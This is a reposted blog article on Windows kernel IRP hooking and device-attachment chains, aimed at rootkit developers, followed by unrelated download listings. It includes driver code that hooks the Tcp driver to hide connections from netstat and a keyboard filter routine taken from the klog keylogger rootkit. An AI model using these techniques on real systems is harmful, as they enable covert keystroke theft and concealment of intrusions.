IRP hooking and Device Chains

《光学》全套PPT课件(安徽大学) 立即下载
 IRP hooking and Device Chains
by Greg Hoglund

I wanted to get some fresh content on the main page, so I whipped together this article for you

IRP hooking is a common rootkit technique. There are two primary ways to get involved with IRPs – hooking function pointers or registering as an attached device (sometimes called a ‘Filter Driver’).

The first method is fairly straightforward, you simply hook the "Major Function" or "Dispatch" IRP handling functions, an array of callbacks, in the DRIVER_OBJECT structure.


typedef struct _DRIVER_OBJECT {
  CSHORT  Type;
  CSHORT  Size;
  PDEVICE_OBJECT  DeviceObject;
  ULONG  Flags;
  PVOID  DriverStart;
  ULONG  DriverSize;
  PVOID  DriverSection;
  PDRIVER_EXTENSION  DriverExtension;
  UNICODE_STRING  DriverName;
  PUNICODE_STRING  HardwareDatabase;
  struct _FAST_IO_DISPATCH *FastIoDispatch;
  PDRIVER_INITIALIZE  DriverInit;
  PDRIVER_STARTIO  DriverStartIo;
  PDRIVER_UNLOAD  DriverUnload;
  PDRIVER_DISPATCH  MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; <----
} DRIVER_OBJECT;
typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT;




IRP callback (aka "Driver Dispatch Routines") functions are only used if the driver has registered a device. IRP's processing is handled by the IO manager. Many rootkits don't register any devices and don't need any dispatch routines. Upon driver entry, these pointers are zero'd out by default, and if you don't fill them in, they get redirected to a default handler in the kernel as a protection to complete IRP's. A rootkit could hook that default handler and capture alot of control flows.
There is a set of basic IRP handling routines that every legitimate driver could implement. For example, any of the following may be used when someone opens a handle or interacts with any device object created by the driver:

#define IRP_MJ_CREATE 0x00
#define IRP_MJ_CREATE_NAMED_PIPE 0x01
#define IRP_MJ_CLOSE 0x02
#define IRP_MJ_READ 0x03
#define IRP_MJ_WRITE 0x04
#define IRP_MJ_QUERY_INFORMATION 0x05
#define IRP_MJ_SET_INFORMATION 0x06
#define IRP_MJ_QUERY_EA 0x07
#define IRP_MJ_SET_EA 0x08
#define IRP_MJ_FLUSH_BUFFERS 0x09
#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a
#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b
#define IRP_MJ_DIRECTORY_CONTROL 0x0c
#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d
#define IRP_MJ_DEVICE_CONTROL 0x0e
#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f
#define IRP_MJ_SCSI 0x0f
#define IRP_MJ_SHUTDOWN 0x10
#define IRP_MJ_LOCK_CONTROL 0x11
#define IRP_MJ_CLEANUP 0x12
#define IRP_MJ_CREATE_MAILSLOT 0x13
#define IRP_MJ_QUERY_SECURITY 0x14
#define IRP_MJ_SET_SECURITY 0x15
#define IRP_MJ_POWER 0x16
#define IRP_MJ_SYSTEM_CONTROL 0x17
#define IRP_MJ_DEVICE_CHANGE 0x18
#define IRP_MJ_QUERY_QUOTA 0x19
#define IRP_MJ_SET_QUOTA 0x1a
#define IRP_MJ_PNP 0x1b
#define IRP_MJ_PNP_POWER 0x1b
#define IRP_MJ_MAXIMUM_FUNCTION 0x1b

IRP function hooking is easy to use and unfortunately easy to detect. I’m not sure how many desktop firewalls are attempting to validate these pointer tables, but it can be straightforward to enumerate them, check that they point into the appropriate driver, etc. But, they remain powerful. The following code snippit [Butler] hooks the device IOCTL callback for the Tcp driver on windows. Using a hook like this enables you to hide TCP sessions from the netstat tool.

NTSTATUS InstallTCPDriverHook()
{
    NTSTATUS       ntStatus;
    UNICODE_STRING deviceTCPUnicodeString;
    WCHAR deviceTCPNameBuffer[]  = L"//Device//Tcp";
        pFile_tcp  = NULL;
    pDev_tcp   = NULL;
    pDrv_tcpip = NULL;

    RtlInitUnicodeString (
           &deviceTCPUnicodeString, deviceTCPNameBuffer);
    ntStatus = IoGetDeviceObjectPointer(
           &deviceTCPUnicodeString,
           FILE_READ_DATA,
           &pFile_tcp,
           &pDev_tcp);
    if(!NT_SUCCESS(ntStatus))
        return ntStatus;
    pDrv_tcpip = pDev_tcp->DriverObject;

    OldIrpMjDeviceControl =
           pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL];
    if (OldIrpMjDeviceControl)
          InterlockedExchange (
            (PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL],
            (LONG)HookedDeviceControl);
    
    return STATUS_SUCCESS;
}


Because IRP handlers are so specific to the driver, this remains a largely unexplored ground. Remember when SSDT hooking first emerged on the scene, and how everyone was coming up with new and creative ways to hook different system calls? Well, each driver is like its own surface of system calls, except implemented via IRP handlers. One of our rootkit members [JMS] has had a great deal of success fuzzing just the IRP_MJ_DEVICE_CONTROL handler, bluescreening the box from usermode due to poorly written parsing code in system drivers.

The second way to hook IRP’s doesn’t involve hooking functions at all, only the use of documented methods. Each driver has zero or more registered devices. A device can only have one parent driver, but a driver can register many child devices. In turn, devices from anywhere in this system-wide collection may be attached together (like a chain), thus creating parent-child relationships between multiple devices and thus multiple parent drivers. As a rootkit developer, you can attach to any existing device or device-chain and thus your rootkit’s own IRP handling callbacks will have a chance to intercept IRP’s headed down this device chain.

It should be mentioned that the word 'chain' is slightly misleading in some literature, as it may refer to the collection of devices 'owned' by a driver ('*NextDevice' pointer), and also may refer to a series of devices attached to one another (handled by the ‘*AttachedDevice’ pointer). The term ‘chain’ implies there is some concept of 'passing along' objects along a chain, but the collection represented by the '*NextDevice ' pointer has nothing to do with IRP processing. To hook into IRP chains, you need to use a totally different pointer, the '*AttachedDevice' pointer. These attachments are also referred to as chains sometimes, leading to some confusion about device objects in general. Let’s contrast these two pointers so there is no more confusion.


typedef struct _DEVICE_OBJECT {
  CSHORT  Type;
  USHORT  Size;
  LONG  ReferenceCount;
  struct _DRIVER_OBJECT  *DriverObject;
  struct _DEVICE_OBJECT  *NextDevice;
  struct _DEVICE_OBJECT  *AttachedDevice;
  struct _IRP  *CurrentIrp;
  PIO_TIMER  Timer;
  ULONG  Flags;
  ULONG  Characteristics;
  volatile PVPB  Vpb;
  PVOID  DeviceExtension;
  DEVICE_TYPE  DeviceType;
  CCHAR  StackSize;
  union {
    LIST_ENTRY  ListEntry;
    WAIT_CONTEXT_BLOCK  Wcb;
  } Queue;
  ULONG  AlignmentRequirement;
  KDEVICE_QUEUE  DeviceQueue;
  KDPC  Dpc;
  ULONG  ActiveThreadCount;
  PSECURITY_DESCRIPTOR  SecurityDescriptor;
  KEVENT  DeviceLock;
  USHORT  SectorSize;
  USHORT  Spare1;
  struct _DEVOBJ_EXTENSION  *DeviceObjectExtension;
  PVOID  Reserved;
} DEVICE_OBJECT, *PDEVICE_OBJECT;


All device objects created for a single driver are kept track of via the '*NextDevice' pointer, but this has nothing to do with attachment. Furthermore, nothing is passed along this list of devices. The purpose of the '*NextDevice' pointer is so the IO manager can enumerate all the devices owned by a driver. A driver may also use this list to enumerate all of its own devices, for example an audio driver might set the volume on all attached sound devices during initialization. The ‘*NextDevice’ pointer and resulting collection of devices is not used for IRP processing – so really doesn’t have much to do with IRP hooking.
As a rootkit developer, you may want to experiment with inserting trojan DEVICE_OBJECT's into '*NextDevice' lists. This may have varying effects depending on the driver that owns that device collection.

Attachment is a different beast. Device attachment is handled through a separate pointer called the '*AttachedDevice' pointer. The list of devices maintained by the '*AttachedDevice' pointer is wholly separate and unrelated to the '*NextDevice' list. The attached devices are used by filter drivers to layer themselves on top of existing devices - think keyboard hookers like klog rootkit. Thus, when a rootkit developer thinks of “hooking” into a “Device chain” they usually mean the attached-device chain and more specifically, using an API call such as IoAttachDevice to place a filter driver into this chain.

Be aware when you request attachment, IoAttachDevice does not guarantee which device you end up attached to. IoAttachDevice expects a device name (say "//Device//Tcp"), but internally will determine an actual device to attach to for you. If there is a mounted filesystem involved, the real device object is ignored and the filesystem's device object may be used instead. Also, if the target device object already has an attached device, then these are walked upwards until the top of the attachment chain is reached (again, please remember that this attachment chain is NOT the same as the NextDevice chain!). And, during this backtrace, any device object that has special considerations like the filesystem detail mentioned above, will stop the backtrace at that point (regardless if the chain continues) and return the tangential device. Because of this, the third argument to IoAttachDevice is a pointer that will be initialized to the actual device you end up attached to. The actual target of the attach, a DEVICE_OBJECT structure, has an '*AttachedDevice' pointer that will be initialized to point to your source DEVICE_OBJECT. You can enumerate these and walk the pointer chains if you want a homework assignment. This is exactly what the DeviceTree utility from OSR does. As a side note, once you have attached like this, the associated driver for the target device can no longer be unloaded (unless you detach first). What follows is a snippit of code from the klog rootkit [Sparks] that uses IoAttachDevice:


//@@@@@@@@@@@@@@@@@@@@@@@@
// IRQL = passive level
//@@@@@@@@@@@@@@@@@@@@@@@@@
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)
{
//    __asm int 3;
    DbgPrint("Entering Hook Routine.../n");
    
    //the filter device object
    PDEVICE_OBJECT pKeyboardDeviceObject;
    
    //Create a keyboard device object
    NTSTATUS status = IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION), NULL, //no name
        FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject);

    //Make sure the device was created ok
    if(!NT_SUCCESS(status))
        return status;
    
    DbgPrint("Created keyboard device successfully.../n");

    //////////////////////////////////////////////////////////////////////////////////
    //Copy the characteristics of the target keyboard driver into the  filter device
    //object because we have to mirror the keyboard device underneath us.
    //These characteristics can be determined by examining the target driver using an
    //application like DeviceTree in the DDK
    //////////////////////////////////////////////////////////////////////////////////
    pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
    pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
    DbgPrint("Flags set succesfully.../n");

    //////////////////////////////////////////////////////////////////////////////////////////////
    //Initialize the device extension - The device extension is a custom defined data structure
    //for our driver where we can store information which is guaranteed to exist in nonpaged memory.
    ///////////////////////////////////////////////////////////////////////////////////////////////
    RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));
    DbgPrint("Device Extension Initialized.../n");

    //Get the pointer to the device extension
    PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
    
    //////////////////////////////////////////////////////////////////////////////////////////////
    //Insert the filter driver onto the device stack above the target keyboard driver underneath and
    //save the old pointer to the top of the stack. We need this address to direct IRPS to the drivers
    //underneath us on the stack.
    ///////////////////////////////////////////////////////////////////////////////////////////////
    CCHAR         ntNameBuffer[64] = "//Device//KeyboardClass0";
    STRING         ntNameString;
    UNICODE_STRING uKeyboardDeviceName;
    RtlInitAnsiString( &ntNameString, ntNameBuffer );
    RtlAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, TRUE );
    IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtension->pKeyboardDevice);
    RtlFreeUnicodeString(&uKeyboardDeviceName);
    DbgPrint("Filter Device Attached Successfully.../n");

    return STATUS_SUCCESS;
}//end HookKeyboard


Once the IoAttachDevice call succeeds, your driver will intercept all IRP's headed for the target device. Your driver will get the IRP before the target device does. In the case of the klog rootkit, the only handler of interest is the one for READ, which grabs keystrokes from the underlying device. Once each read completes (indicated by a completion routine), the keystroke can be nabbed and logged. Of course, you don’t have to use documented functions to attach into a chain, you can directly modify the DEVICE_OBJECT structure to obtain the result.

I hope this sheds a little light on IRP hooking for some folks.

-Greg

YOLO26算法婴幼儿面部情绪识别目标检测+训练好的模型+2681张数据集+pyqt可视化界面.zip 附训练好的 YOLO 权重与 PyQt 可视化检测界面,页面底部含可视化效果预览,毕设/课设开箱即用。 【数据集概况】 · 检测类别(中文):[哭泣(crying), 开心(happy)] · 总计:2681 张 · 测试集:186 张 · 验证集:0 张 · 训练集:2495 张 【训练曲线与评估图】 【模型训练配置】 参数 | 值 模型 | yolo26n 训练轮数 | 100 epochs 输入尺寸 | 640x640 批次大小 | 24 优化器 | auto 初始学习率 | 0.01 训练设备 【关键指标汇总】 训练了 100 个 epoch,最终轮指标: 指标 | 数值 mAP50 | **0.8069** mAP50-95 | 0.5664 Precision | 0.8700 Recall | 0.7726 train/box_loss | 0.7524 train/cls_loss | 0.4490 val/box_loss | 1.1351 val/cls_loss | 0.7588 【训练过程分析】 训练伊始,模型对 box_loss 和 cls_loss 的下降表现出惊人的效率,前 20 轮迅速将训练损失降至低位,显示了训练集的强大适应性。然而,在第 20 轮之后,loss 下降速度明显放缓,整体趋于平稳。到了 60 轮左右,box_loss 值逐渐接近 0.75,而 cls_loss 则稳定在 0.44 左右。从训练集的 box_loss 从 0.7524 降至 0.7325,能看出来 model 正在逐步优化每个实例的边界框准确性,这一过程在前 40 轮尤为显著。相比之下,cls_loss 从 0.4490 降至 0.4389,尽管变化不大,但整体上表现出了模型对类别的清晰度提升... 使用场景:毕业设计、课程设计、深度学习入门、工业场景落地验证。 立即下载

相关推荐

chrome-headless-shell-mac-x64-160.0.8180.0(Canary).zip

Chrome for Testing 官方测试构建包,内含 Chrome 浏览器、ChromeDriver 与 Chrome Headless Shell,适用于对应平台的自动化测试、Selenium/Playwright 驱动与 CI 环境搭建。解压即用,请按文件名中的平台选择对应版本。

Hook Dispatch 实时监控[zz]

作者:pker/*++Module Name:    FSHook.cAbstract:    I  wanted  to  build a filter driver when I first  thought about doing such    kind of things.  But then I found that its not realistic cause it have

LionD8' Blog 个人作品 www.360kdj.com 360KDJ股票实验室 5220

依赖专家资源的传统机构与依赖数据算法的现代平台,在转化效率上谁更胜一筹?.docx

依赖专家资源的传统机构与依赖数据算法的现代平台,在转化效率上谁更胜一筹?

RootKit之[五] IRP Hook全家福

 作 者: combojiang时 间: 2008-02-22,16:42链 接: http://bbs.pediy.com/showthread.php?t=60022年过得真快,马上过完了。我们今天一起来汇总看看IRP HOOK的方法。又是长篇大论,别着急,慢慢看。谈到irp拦截,基本上有三种方式,一种是在起点拦截,一种是在半路拦截,一种是在终点拦截。 下面我们会详细分析这几种方式哪些是有效的

1379

当前全国范围内备案登记的技术转移机构总数大概有多少?.docx

科易网基于行业知识库+行业大数据+科技资源要素+AI模型,以AI,赋能技术转移、成果转化、技术经理人培训、知识产权管理、区域产业分析与布局、地方科技招商、创新创业大赛等场景,推出科技创新领域的AI工具、场景化服务和数智化解决方案,推动科技创新与产业创新智能化发展。

福建省技术转移机构在应对市场竞争时有哪些差异化服务策略?.docx

福建省技术转移机构在应对市场竞争时有哪些差异化服务策略?

EI复现梯级水光互补系统最大化可消纳电量期望短期优化调度模型(Python代码实现)

内容概要:本文提出了一种针对梯级水光互补系统的短期优化调度模型,旨在最大化可消纳电量期望,通过构建精确的数学优化模型并结合Python编程实现,对水电与光伏发电出力进行协同调度,提升新能源的利用效率与系统运行的稳定性;研究中引入Copula理论对光伏出力的不确定性与风光之间的时空相关性进行建模,提高了功率预测的概率精度与场景生成的科学性,从而增强调度方案在实际复杂环境下的鲁棒性与实用性。; 适合人群:具备电力系统运行与优化基础、掌握Python编程技能,从事新能源调度、多能互补系统建模、可再生能源集成研究的科研人员、工程技术人员及研究生。; 使用场景及目标:①应用于梯级水电站与大型光伏电站的联合运行调度分析;②支撑高比例可再生能源接入背景下的电力系统短期优化决策;③为考虑风光出力不确定性与相关性的多能源互补系统提供从概率预测到优化调度的完整技术路径与代码实现参考。; 阅读建议:建议读者结合文中Copula光伏预测模块与优化调度框架,使用实际气象与运行数据进行代码复现与参数调优,深入理解不确定性建模与优化求解的耦合机制,并可进一步拓展至含储能、负荷响应等多元灵活性资源的综合调度场景研究。

PostgreSQL 数据库辅助类(要求 Npgsql 7.0 及以上) .NET Framework 4.7.2+ 或 .NET 6+;C# 7.3+

类别 :方法 数据源: Initialize、Close、DataSource、ConfigureBuilder、CommandTimeout、OnSqlExecuted 参数: CreateParameter(含类型版)、CreateJsonbParameter、CreateArrayParameter、ParamsFrom 执行: ExecuteNonQuery、ExecuteScalar<T>、ExecuteDataTable、ExecuteDataSet、ExecuteList<T>、ExecuteModel<T>、ExecuteDictionaryList、ExecuteColumn<T>、ExecuteReader(均有异步版) 封装: Exists、Count、ExecutePagedDataTable/List、Insert、Update、Delete、Upsert、TableExists、ColumnExists、GetTableNames、GetServerVersion、TestConnection 数据库对象: ExecuteFunctionTable/Scalar、CallProcedure 批量: ExecuteBatch(NpgsqlBatch)、BulkInsert(二进制 COPY)、CopyOut、ToDataTable 事务: ExecuteInTransaction(Async)、OpenTransaction(Async) 其他: Notify、ListenAsync、PgRetry(只读、显式调用)

电气数据大规模复杂配电网故障溯源数据集

【电气数据】大规模复杂配电网故障溯源数据集内容概要:本文介绍了名为“大规模复杂配电网故障溯源数据集”的电气数据资源,旨在为电力系统领域的科研人员提供用于故障诊断、状态估计和配电网优化研究的数据支持。该数据集及相关资源涵盖了配电网故障溯源、电力变压器诊断、新能源并网、储能优化调度等多个关键技术方向,并提供了大量基于Matlab/Simulink的仿真代码与模型,如序贯蒙特卡洛模拟法可靠性评估、含分布式电源的配电网重构、最优潮流计算等,具有较强的工程应用价值。资源还配套详细文档、参考文献及运行结果,便于使用者快速理解和复现。; 适合人群:具备电力系统、电气工程或自动化等相关专业背景,从事科研或工程仿真的研究生、高校教师及研发人员。; 使用场景及目标:①开展配电网故障定位、溯源与恢复策略研究;②进行电力系统可靠性评估、优化调度与状态估计算法开发;③复现高水平期刊论文中的仿真案例,支撑科研项目与论文撰写。; 阅读建议:建议读者结合提供的完整资源目录和网盘链接,系统性地查阅相关代码与文献,优先选择与自身研究方向契合的内容进行实践,并通过公众号“荔枝科研社”获取最新资料和技术支持。

知识管理四款团队知识库选型对比:Confluence、OmniBox、语雀、Sward适用场景与部署方案分析

内容概要:本文对2026年主流的四款团队知识库工具Confluence、小黑OmniBox、语雀和Sward进行了横向评测,指出这四款产品并非直接竞争关系,而是分别对应不同组织状态下的解决方案。评测围绕部署方式、权限协作、检索与AI能力三大核心维度展开,强调选型不应仅看功能列表,而应关注资料来源、使用场景与团队特征。Confluence适合已有Atlassian体系的中大型企业,强在权限控制与流程治理;小黑OmniBox聚焦多源资料整合与AI问答,适用于资料分散的团队;语雀以“书本式”结构降低中文团队使用门槛;Sward则主打开源私有化部署,满足内网合规需求。文章最后提供四类典型团队的选型路径,并澄清了“AI万能”“私有化即安全”等常见误区。; 适合人群:企业IT负责人、技术管理者、知识管理相关从业者,尤其是面临知识库选型决策的团队领导者。; 使用场景及目标:①帮助团队根据自身规模、技术栈、数据主权要求和协作习惯选择合适知识库工具;②厘清AI与知识库的关系,避免选型误区;③指导已有系统如何与新工具(如OmniBox)叠加使用,提升知识利用率。; 阅读建议:此评测基于公开资料与产品文档,未进行压力测试或大规模实测,建议结合实际业务场景试用验证,并优先考虑现有系统兼容性与迁移成本。

基于深度学习分类的时相关MIMO信道的递归CSI量化(Matlab代码实现)

内容概要:本文系统阐述了基于深度学习分类的时相关MIMO信道递归CSI量化方法,并提供了完整的Matlab代码实现。该方法针对大规模MIMO系统中因信道状态信息(CSI)反馈开销过大而导致的系统效率下降问题,提出一种结合深度学习与递归结构的量化方案,利用分类网络对时域相关的CSI进行高效压缩,通过递归机制捕捉信道动态的时间连续性特征,显著提升了量化精度与频谱利用率。文中详细介绍了算法设计原理、神经网络架构选型、训练策略设计、损失函数构建及仿真验证流程,展示了在不同信道模型与时变条件下相较于传统量化方法的性能优势。; 适合人群:具备通信工程、信号处理或无线通信领域基础知识,熟悉MIMO系统原理与深度学习基本模型(如RNN、CNN)的研究生、科研人员及工程师,尤其适合从事智能通信、信道建模、CSI反馈优化等相关方向的研究者。; 使用场景及目标:①应用于大规模MIMO和5G/6G系统中的CSI反馈压缩与传输优化;②为时变无线信道环境下的高效信道量化提供基于深度学习的智能化解决方案;③支持科研复现实验,促进先进信号处理技术在通信系统中的融合与创新; 阅读建议:建议读者结合提供的Matlab代码逐模块调试运行,深入理解深度学习模型在信道量化任务中的输入输出设计、网络训练流程与性能评估方式,可尝试在不同信道参数(如多普勒频移、SNR)下进行仿真实验以验证算法鲁棒性与泛化能力。

【SCI一区复现】基于配电网韧性提升的应急移动电源预配置和动态调度(上)-MPS预配置(Matlab代码实现)

内容概要:本文围绕提升配电网在极端灾害下的韧性,重点研究应急移动电源(MPS)的预配置问题,属于SCI一区级别科研成果的高质量复现。通过构建考虑负荷恢复优先级、网络拓扑连通性、MPS容量与位置约束的混合整数线性规划(MILP)模型,采用Matlab结合优化求解器进行仿真求解,系统实现了灾后配电网关键负荷的快速供电恢复策略设计。文中详尽阐述了建模思路、变量定义、目标函数构成(如最小化未恢复负荷量)及各类物理约束的数学表达,并提供了完整的代码实现流程,具有很强的科研指导性和工程应用参考价值。; 适合人群:电力系统及其自动化、电气工程等相关专业的硕士、博士研究生及科研人员,以及从事电网规划、应急管理、灾害响应等领域的技术人员;具备一定的优化理论基础、电力系统分析知识和Matlab/YALMIP建模能力者更佳。; 使用场景及目标:①用于高水平学术论文(如SCI一区)中关于配电网韧性提升方法的复现、验证与对比分析;②支撑电力部门在灾害预防阶段制定MPS的最优部署方案,提升应急响应能力;③作为“配电网韧性”、“应急电源调度”、“两阶段鲁棒优化”等方向的教学案例或科研项目开发的基础模块。; 阅读建议:建议结合配套Matlab代码逐行解读,重点关注模型中对网络连通性、孤岛运行能力及MPS部署逻辑的数学刻画,熟练掌握YALMIP工具箱的建模技巧与求解器调用方式,并可进一步衔接下半部分的动态调度内容,构建完整的应急电源全时段优化调度体系。

konica C368(柯尼卡美能达bizhub C368系列打印机驱动)

1、查看本机 IP,确保电脑和复印机在同一个局域网。 2、安装时 右键以管理员运行 ,旧驱动先卸载干净避免冲突。 3、端口默认:9100(RAW),也可用 LPR。 安装方法: 1. 解压后进入文件夹,64 位运行 `Setup64.exe`,32 位运行 `Setup.exe`。 2. 同意协议 → 选择【安装(网络搜索)】,程序自动扫描局域网内 C368P。 3. 在列表选中对应 IP 的机器,下一步;如果扫不到,切换到【手动设置】,填入复印机 IP。 4. 勾选驱动类型(PCL6),点击安装,等待完成。 5. 安装结束,打印测试页验证。

考虑分布式电源运行特性的有源配电网智能软开关SOP规划方法【IEEE33节点】(Matlab代码实现)

内容概要:本文提出了一种考虑分布式电源(DG)运行特性的有源配电网智能软开关(SOP)规划方法,并基于IEEE33节点系统进行了Matlab仿真验证。该方法通过引入SOP替代传统联络开关,实现配电网中功率的灵活调控,提升系统对分布式电源的接纳能力与运行经济性。研究综合考虑了分布式电源的出力波动性与负荷时序特性,构建了以网损最小、电压偏差最小和设备投资运行成本最低为目标的多目标优化模型,并采用智能优化算法进行求解,最终在IEEE33节点标准算例上验证了所提方法在改善配电网电压质量、降低网络损耗和提高新能源消纳水平方面的有效性。; 适合人群:电力系统及其自动化、电气工程等相关专业的研究生、科研人员及从事配电网规划与运行的工程技术人员。; 使用场景及目标:①应用于高比例分布式电源接入背景下的配电网规划与重构;②为智能软开关(SOP)的选址与定容提供科学决策依据;③提升配电网的灵活性、经济性和电能质量,促进新型电力系统建设。; 阅读建议:读者应具备一定的电力系统分析基础和Matlab编程能力,建议结合文中提供的算例数据与代码,复现仿真结果,深入理解SOP的调控机理与优化模型的构建方法。同时可进一步探索不同优化算法、多场景概率分析或与其他主动管理措施(如储能、需求响应)的协调优化策略。

一篇教你杰理63系列蓝牙双设备主从连接传输数据过程及配置

首先打开632sdk的app_config.h文件,将宏CONFIG_APP_SPP_LE写0,将宏CONFIG_APP_MULTI写1,对应的CONFIG_BT_GATT_CLIENT_NUM写1代表我只连接一个主机设备。属性都可以修改为自己想要的属性,然后关掉文件,双击gatt_inc_generator.exe文件运行,就会自动弹出生成/更新后的gatt_profile_cfg.h文件,然后里面就是我们代码里面所需要的配置,都是十六进制表示,找到我们刚刚添加的服务属性配置,复制到代码里面去。

xiaolizaixian的博客 1385

BCIC IV 2a数据集:从下载到实战应用全解析

本文全面解析了BCI Competition IV 2a(BCIC IV 2a)数据集的应用流程。从官方渠道下载数据、解析其结构,到在MATLAB和Python环境中进行数据导入、预处理(包括处理特殊受试者A04T),并详细演示了从特征提取(如CSP)到分类(如LDA、SVM)的完整实战步骤,为脑机接口研究者提供了从入门到实践的清晰指南。

weixin_28235513的博客 979
上一篇: A New-Generation Rootkit Detector
下一篇: 进程注入代码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
⌂ 换网址